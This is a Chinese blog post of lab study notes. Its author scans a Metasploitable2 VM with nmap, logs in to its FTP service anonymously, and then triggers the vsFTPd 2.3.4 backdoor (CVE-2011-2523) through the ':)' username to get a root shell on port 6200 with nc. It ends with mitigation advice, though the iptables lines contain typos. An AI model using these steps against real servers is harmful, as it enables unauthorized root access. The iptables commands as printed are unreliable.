0x 00

今天学习了下FTP漏洞

测试环境:

攻击机 :kali amd64 VM16 ---内网ip 192.168.10.130

靶机:Metasploitable2-Linux -- 内网ip 192.168.10.134

目标漏洞 vsFTPd 2.3.4

0x 01 端口扫描

先使用nmap扫描一下目标FTP端口(21)是否开启

nmap -p 21 192.168.10.134

得到运行结果

PORT   STATE SERVICE
21/tcp open  ftp

再使用nmap进行一下漏洞扫描

nmap --script vuln -p 21 192.168.10.134

扫描出了一个VSFTP2.3.4的后面漏洞

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       https://www.securityfocus.com/bid/48539
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
MAC Address: 00:0C:29:90:D8:1E (VMware)

0x 02 FTP匿名登录漏洞

检测到目标端口是开的,先来试试匿名登录漏洞

原理:使用 anonymous 账户完成匿名登录

步骤 :

  1. 使用nc进行对目标机器的连接

    nc 192.168.10.134 21
  2. 输入用户名 anonymous

    USER anonymous
  3. 输入密码,密码随意就好了

    PASS 123
  4. 然后就登录成功了,可以输入HELP查看可用命令

0x 03 FTP后门漏洞

前面用nmap扫到一个后门漏洞,既然是后门漏洞可以干的事情就多了

简单介绍一下vsFTPd 2.3.4

该漏洞通过特定字符串连接,会在目标服务器新开一个6200端口,连接6200端口后可以获得一个root权限的反弹shell

  1. 连接FPT ,老方法NC连接21端口

    nc 192.168.10.134 21

    可以看到已经显示出来了vsFTPd 2.3.4

  2. 使用特定用户名登录 user:)

    USER user:)
  3. 输入密码 pass

    PASS pass
  4. 连接后没有提示

  5. 可以使用nmap检查一下6200端口有没有开启

    image-20221121124715354

  6. 可以看到6200端口已经开启,我们用nc连接6200端口

    nc 192.168.10.134 6200

    连接成功后什么提示都没有,但是已经可以输入shell命令了

    image-20221121124839250

    输入id,可以看到我们的权限是root,输入ifconfig也可以正常查看ip,反弹shell完成

    image-20221121124958311

0x 04 总结

今天学习了两个漏洞,FTP匿名登录,和vsFTPd 2.3.4的后门漏洞

解决方案:

  1. FTP匿名登录,修改配置文件,禁止匿名登录即可,window在iis设置里面,linux修改vsftpd.conf文件
  2. 后门漏洞,更新vsftpd版本,或防火墙禁用连接后门端口

    iptables -A INPUT -p tcp -dport 6200 -j DROP
    iptabels -A OUTPUT -p tcp sport 6200 -j DROP
Last modification:December 6, 2022
如果觉得我的文章对你有用,请随意赞赏